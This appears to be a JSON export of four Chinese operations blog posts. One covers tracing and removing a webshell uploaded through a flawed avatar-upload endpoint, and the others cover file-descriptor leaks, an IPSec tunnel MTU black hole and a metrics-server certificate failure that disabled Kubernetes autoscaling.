[{"content":"问题背景\r我们对外的企业门户网站是一套基于 Tomcat 9 + Spring MVC 的老系统，跑在一台放在 DMZ 区的 Linux 服务器上，前面是 Nginx 反向代理，再往外是防火墙做端口映射。这套系统上线好几年，功能改动不多，一直是\u0026quot;能跑就不动\u0026quot;的状态。\n某天下午，全流量检测设备（NDR）弹出一条告警：这台 Web 服务器在持续向一个境外 IP 发起可疑加密 HTTP 通信，特征命中\u0026quot;疑似哥斯拉（Godzilla）Webshell 加密流量\u0026quot;。安全同事把工单转给我时，第一反应是\u0026quot;会不会是误报\u0026quot;——毕竟这台机器只是个门户站，没什么敏感数据。但告警的置信度不低，且外联是持续性的，只能按真出事来应急处理。\n故障现象\r登上服务器先做了一圈粗看，几个现象拼在一起就不像误报了：\nCPU 间歇性飙高：top 里 Tomcat 的 java 进程偶尔冲到 80% 以上，但门户站访问量并不大，业务上没有理由这么忙。 异常外联确实存在：netstat -antp 能看到该 java 进程与告警里那个境外 IP 建立着 ESTABLISHED 连接，端口是 443，流量是加密的，抓包也看不出明文。 网站被挂了暗链：用搜索引擎 site: 检索自己的域名，翻到几个根本不存在的博彩、菠菜类页面路径，点进去会 302 跳转到外部站——典型的被挂马 / SEO 暗链。 上传目录里多了陌生文件：门户有个\u0026quot;个人头像上传\u0026quot;功能，落地目录 /data/webapp/portal/upload/avatar/ 下，除了正常的 jpg/png，还躺着几个 .jsp 文件，修改时间集中在三天前的凌晨。 到这一步基本可以确认：不是误报，是真被人打进来了，且已经落地了 Webshell、并在拿这台机器做外联跳板和挂暗链。\n排查过程\r第一步，先确认外联的\u0026quot;主体\u0026quot;是谁。 用 netstat -antp | grep \u0026lt;境外IP\u0026gt; 拿到连接对应的 PID，再 ps -ef | grep \u0026lt;PID\u0026gt;，结果指向的是 Tomcat 自己的 java 进程，而不是某个独立的挖矿木马或反弹 shell 进程。这说明恶意行为是跑在 Web 容器进程里的——要么是落地的脚本 Webshell 被调用，要么是更隐蔽的内存马。\n第二步，翻 Web 访问日志找入口。 重点看 Nginx 的 access.log 和 Tomcat 的 localhost_access_log。Webshell 的访问有很强的特征，用几个条件一过滤就浮出来了：\n1 2 3 4 5 # 找对单个 URL 高频 POST 的可疑请求 awk \u0026#39;$6==\u0026#34;POST\u0026#34;{print $7}\u0026#39; access.log | sort | uniq -c | sort -rn | head # 结合异常 UA / 固定 Content-Length 规律进一步收敛 grep \u0026#34;avatar/.*\\.jsp\u0026#34; access.log | awk \u0026#39;{print $1,$4,$7,$9,$10}\u0026#39; 结果非常清楚：/upload/avatar/x1.jsp 这个路径在过去三天里被同一批源 IP 反复 POST，请求体长度呈规律性变化，User-Agent 是 Java 客户端的默认值——这正是哥斯拉客户端连接 Webshell 的典型行为。\n第三步，确认落地文件性质。 打开那几个 .jsp，内容不是明文，而是一段加载器：接收 pass 参数，做 Base64 解码后再 AES 解密，动态编译执行——标准的哥斯拉加密马，磁盘上和流量里都是密文，普通特征匹配很难抓。\n第四步，回溯 Webshell 是怎么传上来的。 门户的头像上传接口按理只允许图片。翻代码 + 翻上传接口的请求日志，还原出攻击者的绕过手法：\n服务端对文件类型的校验用的是黑名单（只拦 .php、.asp），没拦 .jsp； 且校验只看了前端传来的文件后缀字符串，没有做服务端 MIME / 文件头（magic number）校验； 最致命的是，上传目录就在 Web 根目录下，且被 Tomcat 当作可执行的 JSP 目录——文件传上去就能直接被当脚本解析执行。 三个问题叠加，就是一条完整的\u0026quot;任意文件上传 → Webshell 落地 → 直接访问执行\u0026quot;的链路。\n第五步，排查有没有内存马。 落地文件好清，但更怕对方在容器里注册了反射型的 Filter / Servlet 内存马（磁盘无 class、重启才消失）。对比了 Tomcat 当前已加载的 Filter 链与应用 web.xml 声明的差异，又用 arthas 扫了一遍可疑的动态注册组件，确认这次没有内存马，攻击者只用了落地脚本马。\n解决方案\r确认范围后按应急响应流程处置，顺序很重要：\n先隔离、后动手：在防火墙上只放行运维跳板的入站、掐掉那条境外外联，但暂不整机断网、不重启，先保留现场做取证。 固定证据：打包 access.log、Webshell 文件、/tmp 与 upload 目录、进程与网络快照，计算哈希留存。 清除落地马：删除 upload 目录下全部 .jsp 文件，全盘 find / -name \u0026quot;*.jsp\u0026quot; -newermt \u0026quot;3 days ago\u0026quot; 复核有没有藏在别处的第二落点。 清内存并重启：处理完落地文件后重启 Tomcat，确保即便有残留动态组件也被清掉。 修上传接口（根治）：改为扩展名白名单 + 服务端 magic number 校验 + 随机重命名，并把上传目录移出 Web 根、改为独立存储 + 禁止脚本执行。 收尾加固：轮转服务器口令与相关密钥、清理被挂的暗链页面、通知搜索引擎重新收录。 根因分析\r技术根因是三点缺陷的叠加，缺一不可：文件类型校验用黑名单且不全（漏了 .jsp）→ 只信前端后缀、无服务端内容校验 → 上传目录与 Web 根同源且可执行脚本。任何一环补上，这条攻击链都走不通。而管理上的根因是这套\u0026quot;能跑就不动\u0026quot;的老系统长期无人做安全基线审视，暴露面（对外的可上传接口）一直无监控，直到全流量设备兜底才发现。\n预防措施\r上传接口：扩展名白名单 + 服务端 MIME / 文件头双重校验 + 上传后随机重命名，从源头堵住可控文件名。 存储与执行分离：上传目录独立存放，Nginx / Tomcat 层面显式禁止该目录解析 jsp/php（如 location 配置移除脚本 handler），即使传上去也无法执行。 最小权限运行：Web 容器用非 root 的低权限用户跑，限制其对系统目录的写权限。 纵深检测：部署 RASP / Webshell 检测，定期用河马、D 盾等工具做落地文件基线扫描；保留全流量 NDR 兜底加密马。 暴露面治理：对外系统定期做资产梳理与漏洞扫描，把\u0026quot;能跑就不动\u0026quot;的老站纳入常态化安全巡检。 总结\r这次事件的隐蔽点在于：外联主体是 Tomcat 自己、木马是加密的、入口是个不起眼的头像上传接口，任何一个单看都容易被当成\u0026quot;业务正常\u0026quot;或\u0026quot;误报\u0026quot;放过。真正把线索串起来的是全流量告警 + Web 访问日志的高频 POST 特征分析这两把钥匙。对运维来说，最该记住的不是\u0026quot;哥斯拉长什么样\u0026quot;，而是：任意文件上传永远要按白名单 + 内容校验 + 存储执行分离三件套来防，而不是靠拦几个危险后缀；同时对外暴露面必须有日志、有监控、有兜底，别让老系统成为攻击者最舒服的落脚点。\n","date":"2026-07-25T07:00:00+08:00","permalink":"/posts/0afe0629/","title":"记一次企业门户网站被植入 Webshell 的入侵溯源与清除"},{"content":"问题背景\r我们有一个对外提供接口的 Java 服务（Spring Boot，跑在一台 CentOS 7 的物理机上，直接用 systemd 拉起，没有走容器），日常 QPS 不高，长期稳定运行。某次发版后，服务运行三四天一切正常，但到了第五天早上，监控开始告警：接口 5xx 陡增、健康检查探测失败、部分请求直接连不上。\n奇怪的是，服务进程还活着，CPU、内存、磁盘都不满，网络也通。运维同事第一反应是\u0026quot;重启一下试试\u0026quot;，重启后确实恢复了，但过了几天同样的现象又准时出现——这种\u0026quot;跑一段时间就崩、重启就好、周期性复发\u0026quot;的症状，几乎可以肯定是某种资源在缓慢泄漏。这篇就记录一下把它从现象定位到根因、再到根治的完整过程。\n故障现象\r从应用日志里翻，很快找到了一批扎眼的报错，几乎刷屏：\n1 2 3 4 5 java.net.SocketException: Too many open files at java.base/sun.nio.ch.Net.accept(Native Method) ... java.io.IOException: Too many open files at java.base/java.io.FileInputStream.open0(Native Method) 同时系统日志 /var/log/messages 里也有内核层面的记录：\n1 kernel: VFS: file-max limit reached 现象可以归纳为几点：\n报错关键词是 Too many open files，对应系统调用返回 EMFILE（进程级文件描述符耗尽）或 ENFILE（系统级）。 现象随运行时间推移逐渐恶化：新建 socket、打开文件、accept 新连接全部失败，但已有连接大多还能用。 重启进程立刻恢复，然后 fd 数量又开始从低位缓慢往上爬。 业务侧表现为间歇性 5xx 和健康检查失败，容易被误判成\u0026quot;网络抖动\u0026quot;或\u0026quot;下游超时\u0026quot;。 这类报错的本质很明确：进程持有的文件描述符（file descriptor，简称 fd）数量触到了上限。Linux 里\u0026quot;一切皆文件\u0026quot;，socket、普通文件、pipe、epoll 实例都占 fd，所以\u0026quot;文件描述符耗尽\u0026quot;往往不是真的打开了太多文件，而是连接或句柄泄漏。\n排查过程\r第一步，确认到底占了多少 fd。 先拿到进程 PID，然后数它当前打开的 fd 数量：\n1 2 3 4 5 6 # 找到进程 pid=$(pgrep -f my-app.jar) # 统计当前打开的 fd 数量 ls -l /proc/$pid/fd | wc -l # 输出：4102 第二步，看进程自己的限制是多少。 不要只看 ulimit -n（那是当前 shell 的），一定要看目标进程实际生效的 limits：\n1 2 cat /proc/$pid/limits | grep \u0026#34;open files\u0026#34; # Max open files 4096 4096 files 真相浮现了一半：这个进程的软硬限制都只有 4096，而它当前已经占到 4102（数字略有出入是统计时刻差异），已经顶到天花板。很多人以为改了 /etc/security/limits.conf 就万事大吉，但 systemd 拉起的服务根本不读 limits.conf，它只认 unit 文件里的 LimitNOFILE，不写就用一个偏小的默认值。这是第一层坑。\n第三步，判断是\u0026quot;用量合理但上限太小\u0026quot;还是\u0026quot;句柄泄漏\u0026quot;。 上限小只是诱因，如果 fd 会无限增长，那一定还有泄漏。我按类型统计一下这 4000 多个 fd 都是什么：\n1 2 3 4 5 6 7 ls -l /proc/$pid/fd | awk \u0026#39;{print $NF}\u0026#39; | \\ sed -E \u0026#39;s/[0-9]+$//\u0026#39; | sort | uniq -c | sort -rn | head # 输出（节选）： # 3600 socket:[ # 210 /data/app/tmp/ # 80 anon_inode:[eventpoll] # ... 3600 个 socket，这个比例极不正常——服务并发没那么高。再用 lsof 看这些 socket 连到哪里、处于什么状态：\n1 2 3 4 lsof -p $pid | grep -i tcp | awk \u0026#39;{print $NF}\u0026#39; | sort | uniq -c | sort -rn # 1900 (CLOSE_WAIT) # 900 (ESTABLISHED) # ... 大量 CLOSE_WAIT 是决定性证据。CLOSE_WAIT 意味着对端已经发了 FIN 关闭连接，但本端应用一直没有调用 close()，连接卡在半关闭状态，对应的 fd 也就一直不释放。这几乎百分百是代码里连接/流没有正确关闭。\n第四步，定位泄漏点。 结合 lsof 看到这些 CLOSE_WAIT 大多连向同一个下游 HTTP 服务，去翻调用那个下游的代码，果然发现问题：有一处用 HttpURLConnection 拿响应流，但在异常分支里没有关闭连接，也没有 try-with-resources。平时下游正常返回时走的是正常分支会关闭，但下游偶尔超时/报错时就漏关一个连接，日积月累就攒出了几千个 CLOSE_WAIT。\n至此链条闭环：下游异常 → 连接漏关 → CLOSE_WAIT 堆积 → fd 缓慢增长 → 触到 4096 上限 → Too many open files → 新连接全废。\n解决方案\r分两步走，先止血再根治。\n止血：调大 fd 上限并让 systemd 生效。 编辑 unit 文件（不要图省事去改 limits.conf，对 systemd 无效）：\n1 2 3 4 5 6 7 # /etc/systemd/system/my-app.service 的 [Service] 段加上 LimitNOFILE=65535 systemctl daemon-reload systemctl restart my-app # 重启后复核，确认真的生效 cat /proc/$(pgrep -f my-app.jar)/limits | grep \u0026#34;open files\u0026#34; 如果系统级 file-max 也报限制（VFS: file-max limit reached），再调内核层：\n1 2 sysctl -w fs.file-max=2000000 echo \u0026#34;fs.file-max = 2000000\u0026#34; \u0026gt;\u0026gt; /etc/sysctl.d/99-fd.conf 根治：修复句柄泄漏。 把漏关连接的代码改成自动关闭，确保任何分支都会释放：\n1 2 3 4 5 6 // 用 try-with-resources，异常也会自动关闭 try (var in = conn.getInputStream()) { // 读取响应 } finally { conn.disconnect(); } 更彻底的做法是引入连接池化的 HTTP 客户端（如 Apache HttpClient / OkHttp）并复用，从根上避免这种手工管理连接漏关的问题。上线后持续观察 fd 曲线，确认稳定在低位、不再单调上涨。\n根因分析\r这次故障是两层原因叠加才爆发的：\n诱因（上限太小）：服务用 systemd 拉起，没显式配置 LimitNOFILE，实际生效值只有 4096，天花板本就很低。 根因（句柄泄漏）：应用代码在下游异常分支漏调 close()，连接卡在 CLOSE_WAIT 不释放，fd 单调增长只是时间问题。 只有上限小、没有泄漏，一般不会崩；只有泄漏、上限很大，也只是把爆发时间往后推。两者叠加，才形成了这种\u0026quot;稳定运行几天后周期性崩溃\u0026quot;的迷惑现象。CLOSE_WAIT 堆积是这类泄漏最典型的指纹——它明确指向\u0026quot;应用层没关连接\u0026quot;，而不是网络或内核的问题。\n预防措施\r服务上线前就设置合理的 LimitNOFILE（systemd 用 unit 文件，容器用 --ulimit nofile），别用默认值裸奔。 给 fd 使用量加监控：采集 /proc/\u0026lt;pid\u0026gt;/fd 数量与 /proc/\u0026lt;pid\u0026gt;/limits 的比值，超过 70%~80% 就告警，能在崩溃前几天就发现泄漏趋势。 代码规范：所有 socket、流、连接一律用 try-with-resources / defer / with 等语言级机制自动关闭；HTTP 调用统一走连接池化客户端并复用。 定期巡检 CLOSE_WAIT：ss -s 或 lsof 看长期存在的 CLOSE_WAIT，是句柄泄漏的早期信号。 压测覆盖异常路径：泄漏常藏在下游超时、异常分支里，压测时要故意让下游报错，才能暴露漏关连接的问题。 总结\rToo many open files 看着吓人，排查路径其实很固定：先 cat /proc/\u0026lt;pid\u0026gt;/limits 看上限、ls /proc/\u0026lt;pid\u0026gt;/fd | wc -l 看用量、再用 lsof 按类型和状态拆解占用。如果看到大量 CLOSE_WAIT，基本可以锁定是应用层连接漏关，而不是上限的锅——这时候光调大 LimitNOFILE 只是把爆发时间推后，真正要修的是代码里的句柄泄漏。记住一个判断口诀：上限决定何时崩，泄漏决定必定崩。把监控加在 fd 使用率上，让问题在告警里暴露，而不是在凌晨的 5xx 里。\n","date":"2026-07-24T07:00:00+08:00","permalink":"/posts/6651b58c/","title":"定位 Too many open files：一次生产服务文件描述符耗尽的排查与根治"},{"content":"问题背景\r我们两个机房（A 机房应用集群、B 机房数据库与文件存储）之间通过一条站点到站点的 IPSec VPN 隧道互联，跑了大半年一直平稳。某次业务扩容后，运维群里陆续冒出几条零散反馈：A 机房的备份任务往 B 机房的存储推文件时经常\u0026quot;卡住不动\u0026quot;，跨机房的 MySQL 主从同步偶尔中断重连，个别同事反映从 B 机房拉大的日志包会在中途\u0026quot;僵住\u0026quot;。\n但奇怪的是，这些抱怨都不\u0026quot;稳定\u0026quot;——同一个人换个小文件、换个时间点又一切正常。网络监控上带宽、丢包、延迟三条曲线都健康得很，隧道状态 up，ping 对端也是稳稳的 0 丢包。于是问题被当成\u0026quot;偶发抖动\u0026quot;拖了两天，直到一次跨机房的数据库全量同步在传到几百 MB 时彻底断掉、重试三次都失败，才被正式立项排查。\n故障现象\r把现象归拢后，特征异常清晰又诡异：\n小流量全通，大流量必卡。ping（默认 64 字节）0 丢包；SSH 登录、执行短命令、curl 拉小页面都秒回。但只要是持续的大数据传输——scp 大文件、rsync 全量、mysqldump 跨机房导入——传输曲线都会走到某个点后骤降为 0，连接不报错、就是永久挂起，直到超时。 方向不对称。从 A→B 推大文件几乎必卡；B→A 拉反而好一些，但也偶发。 协议无关。HTTP、MySQL、NFS 全中招，说明不是应用层的问题。 同机房内部完全正常。同样的传输在各自机房内部跑，速度拉满、毫无问题。问题只出现在\u0026quot;跨隧道 + 大数据量\u0026quot;这个交集上。 \u0026ldquo;ping 通但大文件传不动\u0026quot;这组症状，几乎是 MTU/分片类问题的教科书式指纹。方向立刻收敛到链路 MTU 上。\n排查过程\r第一步：用带 DF 标志的大包探测路径 MTU。 普通 ping 用小包，掩盖了问题。我改用大包 + 禁止分片（DF）来探路。Linux 下：\n1 2 3 4 # -M do 设置 DF 位（不允许分片），-s 指定 ICMP 数据载荷大小 ping -M do -s 1472 10.20.0.10 # 1472 + 28(IP+ICMP头) = 1500 ping -M do -s 1400 10.20.0.10 ping -M do -s 1300 10.20.0.10 结果非常关键：\n-s 1472（整包 1500）：100% 丢失，且没有收到任何 \u0026ldquo;Frag needed\u0026rdquo; 的 ICMP 回包，就是静默超时。 -s 1400（整包 1428）：依旧不通。 -s 1300 附近开始逐步能通，二分下去，实测隧道能稳定通过的整包上限在 1422 字节左右。 这解释了一切：隧道的实际可用 MTU 远小于以太网标准的 1500。IPSec 封装（ESP 头 + 认证 + 可能的 NAT-T UDP 封装）会给每个包额外增加几十字节开销，把有效载荷 MTU 压到了 1400 出头。\n第二步：确认这是\u0026quot;PMTUD 黑洞\u0026quot;而非普通 MTU 不匹配。 正常情况下，当一个 1500 的 DF 包进不了小 MTU 的链路时，中间设备应该回一个 ICMP Type 3 Code 4（Fragmentation Needed and DF set）告诉发送方\u0026quot;请把包改小到 1422\u0026rdquo;，这就是路径 MTU 发现（PMTUD）。发送方收到后会自动缩小该目的地的 MSS，传输就能恢复。\n但我们的探测里，大包是静默丢弃、没有任何 ICMP 反馈。抓包印证了这一点：\n1 2 3 # 在 A 机房发送端抓，只见发出的大包，收不到任何 ICMP Type 3 tcpdump -ni any \u0026#39;icmp and icmp[icmptype]==3\u0026#39; # 长时间无输出 发送方永远等不到\u0026quot;包太大\u0026quot;的通知，就会一直用 1500 的大包硬发、永远被丢，同时因为 TCP 已经建连（三次握手是小包，能通），应用层只看到\u0026quot;传着传着就不动了\u0026quot;。这正是 PMTUD 黑洞（PMTUD Black Hole）：ICMP 差错报文在路径某处被吞掉，导致路径 MTU 发现机制失效。\n第三步：定位 ICMP 被谁吃掉。 沿着隧道两端逐跳排查防火墙策略，发现 B 机房出口防火墙上有一条几个月前为\u0026quot;防 ICMP 洪水\u0026quot;加的粗暴规则——直接 deny 了所有入向 ICMP。这条规则把正常的 echo 挡了（但因为大家平时 ping 的是内网网关、没走到这条规则，一直没暴露），更致命的是把 PMTUD 赖以工作的 Type 3 Code 4 差错报文也一并丢弃了。\n第四步：解释方向不对称。 A→B 更容易卡，是因为 A 机房应用发出的大包在进入隧道后触达小 MTU，而回程的 ICMP 差错又被 B 侧防火墙拦截；B→A 方向的差错报文路径不同、部分能漏回来，于是表现\u0026quot;好一点\u0026quot;。至此，因果链完全闭合。\n解决方案\r处理分两层：先恢复 PMTUD，再用 MSS 钳制兜底，双保险。\n1. 放行 PMTUD 必需的 ICMP。 在 B 机房出口防火墙上，把\u0026quot;一刀切 deny ICMP\u0026quot;改为精确放行差错类报文（尤其是 Type 3 Code 4），仅对 echo-request 做限速而非全禁：\n1 2 3 4 # 放行 destination-unreachable（含 fragmentation-needed） allow icmp type 3 # echo 改为限速，兼顾防洪与可运维 limit icmp echo-request rate 50/s 2. 在隧道网关上做 TCP MSS 钳制（MSS clamping）。 这是应对 MTU 受限隧道最稳妥的通用手段——不依赖 ICMP 是否可达，直接在网关改写经过的 TCP SYN 包里的 MSS 选项，强制两端协商出一个不会超限的分段大小。按隧道实测 MTU 1422 计算，MSS = 1422 − 40（IP+TCP 头）= 1382，保守取整用 1360：\n1 2 3 4 5 6 # Linux/iptables 在 FORWARD 链对 SYN 包钳制 MSS iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN \\ -o tun0 -j TCPMSS --set-mss 1360 # 或让内核按出接口 MTU 自动算 iptables -t mangle -A FORWARD -p tcp --tcp-flags SYN,RST SYN \\ -o tun0 -j TCPMSS --clamp-mss-to-pmtu 网络设备（如思科/华为）上对应的是 ip tcp adjust-mss 1360 配到隧道接口。\n改完立刻复测：scp 大文件、rsync 全量、跨机房 MySQL 同步全部一次性跑通、速度稳定。之前必卡的几百 MB 全量导入顺畅完成。\n根因分析\r根因是两个独立因素在\u0026quot;大包 + 跨隧道\u0026quot;场景下叠加：\nIPSec 封装开销压低了隧道有效 MTU，1500 的标准以太网包进隧道后超限； B 侧防火墙一刀切禁用 ICMP，掐断了 PMTUD 的反馈通道，让本可自愈的 MTU 问题恶化成静默黑洞。 单独任一因素都不致命：只有封装开销，PMTUD 能自动降 MSS；只有禁 ICMP，若无小 MTU 链路也无害。两者相遇，才造出\u0026quot;ping 通、小包通、大包静默死\u0026quot;这种最难缠的间歇性故障。而 TCP 建连用小包能成功、真正的数据传输才触发大包，正是它伪装成\u0026quot;应用偶发卡顿\u0026quot;的原因。\n预防措施\r隧道/Overlay 网关默认配置 MSS 钳制：凡是 IPSec、GRE、VXLAN、PPPoE 等有封装开销的链路，一律在网关上启用 clamp-mss-to-pmtu 或按实测 MTU 固定 MSS，不要指望 PMTUD 一定可用。 ICMP 不要一刀切禁用：Type 3（尤其 Code 4 fragmentation-needed）、Type 11（time-exceeded）必须放行，防洪应对 echo 用限速而非全禁。把这条写进防火墙基线评审清单。 上线跨链路业务前做大包连通性验证：用 ping -M do -s \u0026lt;size\u0026gt; 二分探测真实路径 MTU，纳入变更验收，而不是只 ping 一下就签字。 监控补一条大包探针：在跨机房链路上定时发 DF 大包做拨测，MTU 收缩能第一时间告警，而不是等业务传大文件才发现。 变更留痕：那条\u0026quot;防 ICMP 洪水\u0026quot;的规则加的时候没评估副作用。任何安全策略变更都应评估对 PMTUD/路径探测的影响。 总结\r这次故障的迷惑性全在于\u0026quot;ping 通\u0026quot;给人的虚假安全感——小包能过不代表链路健康，大包才是真正的试金石。排查的关键转折是改用带 DF 的大包探测，一眼看穿隧道 MTU 被压缩，再顺着\u0026quot;为何没有 ICMP 反馈\u0026quot;揪出被防火墙吞掉的 PMTUD 通道。对所有带封装的隧道链路，记住两条铁律：默认做 MSS 钳制，永远不要一刀切禁 ICMP 差错报文。把这两点固化进基线，这类\u0026quot;小包通、大包死\u0026quot;的幽灵故障就能从源头杜绝。\n","date":"2026-07-23T07:00:00+08:00","permalink":"/posts/6ef1b86a/","title":"一次跨机房 IPSec VPN 隧道大包不通导致业务间歇性卡死的排查记录"},{"content":"一、问题背景\r我们有一套跑在自建 Kubernetes（v1.27）上的电商中台服务，日常流量呈典型的双峰形态：午间与晚间各一波高峰。为了扛住波峰，核心的 order-api Deployment 早就配了 HorizontalPodAutoscaler（HPA），按 CPU 利用率 60% 自动在 4~20 个副本之间伸缩，稳定运行了大半年，从没出过岔子。\n变更是从一次例行的证书轮换开始的。运维同学按季度给集群组件更新了一批内部 CA 签发的证书，包括 metrics-server 用的服务证书，操作当天一切正常，监控大盘也没报警。谁也没想到,这颗雷会在三天后的晚高峰被引爆——流量上来了，副本却一个都没多起来。\n二、故障现象\r晚上 20:10 左右，order-api 的 P99 延迟开始飙升，从平时的 80ms 一路冲到 3s 以上，网关侧大量 504。值班同学第一反应是扩容顶不住了，但打开监控发现更诡异的事情：Pod 数量始终停在 4 个（HPA 的最小副本数），完全没有随流量增长而扩容。\n手动敲命令确认：\n1 2 3 $ kubectl get hpa order-api NAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS AGE order-api Deployment/order-api \u0026lt;unknown\u0026gt;/60% 4 20 4 214d 关键信号出现了：TARGETS 那一列本该是类似 85%/60% 的实时利用率，此刻却是 \u0026lt;unknown\u0026gt;/60%。也就是说 HPA 根本读不到当前的 CPU 指标，自然无从判断该不该扩容，只能维持在最小副本数干瞪眼。\n再看几个横向证据：\nkubectl top pod 直接报错：error: Metrics API not available； kubectl top node 同样失败； 应用本身、节点资源都没问题，Pod 是活的、能处理请求，只是数量不够。 问题很清晰了：不是应用挂了，而是扩容的\u0026quot;眼睛\u0026quot;瞎了。\n三、排查过程\r1. 先看 HPA 到底为什么读不到指标\rdescribe 是最快的入口：\n1 2 3 4 5 6 7 8 9 10 11 12 $ kubectl describe hpa order-api ... Conditions: Type Status Reason Message ---- ------ ------ ------- AbleToScale True SucceededGetScale the HPA controller was able to get the target\u0026#39;s current scale ScalingActive False FailedGetResourceMetric the HPA was unable to compute the replica count: failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from resource metrics API Events: Warning FailedGetResourceMetric ... failed to get cpu utilization: unable to get metrics for resource cpu Warning FailedComputeMetricsReplicas ... invalid metrics (1 invalid out of 1) ScalingActive=False、FailedGetResourceMetric，指向的是 resource metrics API（也就是 metrics.k8s.io）没有返回数据。HPA 控制器本身没毛病，问题在它依赖的指标源。\n2. 确认 Metrics API 这条路是否通\rkubectl top 和 HPA 的 CPU 指标，走的都是聚合层暴露出来的 metrics.k8s.io API。直接问 apiserver 这个 API 组还在不在：\n1 2 $ kubectl get apiservices | grep metrics v1beta1.metrics.k8s.io kube-system/metrics-server False (FailedDiscoveryCheck) 214d AVAILABLE 是 False，原因 FailedDiscoveryCheck。说明 apiserver 通过聚合层（Aggregation Layer）去访问 metrics-server 后端时，握手/发现这一步失败了。这是整条链路断裂的核心证据。\n顺手看看 APIService 的详细状态：\n1 2 3 4 5 6 7 8 9 $ kubectl describe apiservice v1beta1.metrics.k8s.io ... Status: Conditions: Message: failing or missing response from https://10.96.xx.xx:443/apis/metrics.k8s.io/v1beta1: Get \u0026#34;https://10.96.xx.xx:443/...\u0026#34;: x509: certificate signed by unknown authority Reason: FailedDiscoveryCheck Status: False Type: Available x509: certificate signed by unknown authority——问题一下子聚焦了。apiserver 去调 metrics-server 时,校验对方证书失败，说这张证书不是可信 CA 签的。\n3. 定位 metrics-server 自身状态\r1 2 3 4 5 6 7 8 9 $ kubectl -n kube-system get pod -l k8s-app=metrics-server NAME READY STATUS RESTARTS AGE metrics-server-7d9c8f6b5-abcde 0/1 Running 0 3d $ kubectl -n kube-system logs metrics-server-7d9c8f6b5-abcde | tail -n 20 ... \u0026#34;Failed to scrape node\u0026#34; node=\u0026#34;node-3\u0026#34; err=\u0026#34;Get \\\u0026#34;https://10.0.1.13:10250/metrics/resource\\\u0026#34;: x509: certificate signed by unknown authority\u0026#34; \u0026#34;Failed probe\u0026#34; probe=\u0026#34;metric-storage-ready\u0026#34; err=\u0026#34;no metrics to serve\u0026#34; 两个关键信息叠加：\nPod 是 Running 但 READY 0/1——readiness 探针（/readyz，依赖 metric-storage-ready）因为抓不到任何指标而一直不就绪，于是它被从 Service 的 Endpoints 摘掉，apiserver 聚合层自然连不上后端，这解释了上面的 FailedDiscoveryCheck； metrics-server 去抓各节点 kubelet 的 :10250/metrics/resource 时，同样报 x509: certificate signed by unknown authority。 到这里链路彻底清楚：三天前证书轮换时更新了 kubelet 的服务证书，改用了新的内部 CA 签发；但 metrics-server 的启动参数里还配着信任旧 CA（或压根没配 --kubelet-insecure-tls 也没挂新 CA），于是它拿新证书校验失败，抓不到任何节点指标 → 自己 readiness 不就绪 → 被摘出 Endpoints → apiserver 聚合层 discovery 失败 → metrics.k8s.io 不可用 → HPA 拿不到 CPU → 高峰不扩容。\n4. 为什么三天前改证书、今天才爆\r这也是最迷惑的一点。查了下 metrics-server 的重启时间——它并没有随证书轮换重启，一直用着内存里旧的、还能验证通过的连接缓存和已抓到的历史指标数据在\u0026quot;续命\u0026quot;。真正的转折点是当天早上一次 kubelet 配置滚动生效触发了各节点 kubelet 重启、启用新证书，metrics-server 的抓取从那一刻起才全面失败。而白天流量平缓，4 个副本足够扛，HPA 即便读不到指标也没暴露问题；直到晚高峰需要扩容，\u0026ldquo;眼睛瞎了\u0026quot;的后果才第一次被真正需要，于是集中爆发。\n四、解决方案\r止血（分钟级恢复业务）：既然自动扩容瘫痪，先手动把副本顶上去，给排查争取时间：\n1 kubectl scale deployment order-api --replicas=16 副本拉起后延迟迅速回落，504 消失。注意：只要 HPA 还在且 metrics 不可用，它虽然扩不上去，但也不会把手动扩上来的副本缩回去（AbleToScale 逻辑在指标缺失时不会误缩），所以手动扩容是安全的临时手段。\n根治（修复指标链路）：修 metrics-server 的证书信任。让它信任集群 CA 来校验 kubelet 证书，编辑 Deployment 的容器参数：\n1 2 3 4 5 6 7 8 args: - --cert-dir=/tmp - --secure-port=10250 - --kubelet-preferred-address-types=InternalIP - --kubelet-use-node-status-port # 关键：指定信任的 CA，用它校验 kubelet 服务证书 - --kubelet-certificate-authority=/etc/kubernetes/pki/ca.crt - --metric-resolution=15s 并把新 CA 通过 hostPath/Secret 正确挂进容器。改完滚动重启：\n1 2 kubectl -n kube-system rollout restart deploy/metrics-server kubectl -n kube-system rollout status deploy/metrics-server 验证链路恢复：\n1 2 3 4 5 6 7 8 9 10 $ kubectl get apiservices | grep metrics v1beta1.metrics.k8s.io kube-system/metrics-server True 216d $ kubectl top pod -n order NAME CPU(cores) MEMORY(bytes) order-api-xxx 420m 512Mi $ kubectl get hpa order-api NAME REFERENCE TARGETS MINPODS MAXPODS REPLICAS order-api Deployment/order-api 78%/60% 4 20 13 TARGETS 恢复成真实数值，HPA 重新开始按负载伸缩。确认稳定后把手动扩容的固定副本数交还给 HPA 管理即可。\n五、根因分析\r根本原因是证书轮换只更新了链路的一端（kubelet 服务证书），却漏掉了依赖方（metrics-server）对新 CA 的信任配置，导致一条隐蔽的指标依赖链在证书生效后静默断裂。\n链路的脆弱性被三个因素放大：其一，metrics-server 是内存态、无历史落盘的组件，故障后没有任何本地告警，只会安静地\u0026quot;不就绪\u0026rdquo;;其二，故障发生（早上 kubelet 重启）与暴露（晚高峰需扩容）之间存在时间差，掩盖了因果关系;其三，HPA 对指标缺失的降级是\u0026quot;冻结当前副本\u0026quot;而非报错，从业务视角看就是\u0026quot;扩容不生效\u0026quot;，很容易被误判为 HPA 配置或应用问题，而非上游指标源故障。\n六、预防措施\r给 Metrics API 本身加监控：直接探测 kubectl get apiservice v1beta1.metrics.k8s.io 的 Available 状态，或 Prometheus 采集 apiserver_aggregator_unavailable_apiservice；这是最直接的哨兵，比等 HPA 出事早得多。 给 HPA 加告警：对 kube_horizontalpodautoscaler_status_condition{condition=\u0026quot;ScalingActive\u0026quot;,status=\u0026quot;false\u0026quot;} 报警，一旦 HPA 无法计算副本立即通知。 证书轮换纳入变更清单：凡涉及 kubelet/CA 证书变更，检查清单里必须包含\u0026quot;所有校验 kubelet 证书的组件（metrics-server、Prometheus node 抓取等）的 CA 信任配置同步更新\u0026quot;,并在变更后主动跑一遍 kubectl top node。 压测扩容能力：定期在预发环境注入负载，验证 HPA 真能扩上去，而不是只看配置存在。 关键组件就绪探测纳入巡检：把 metrics-server 等基础组件的 READY 状态纳入日常巡检，避免\u0026quot;Running 但 0/1\u0026quot;这类半死状态长期潜伏。 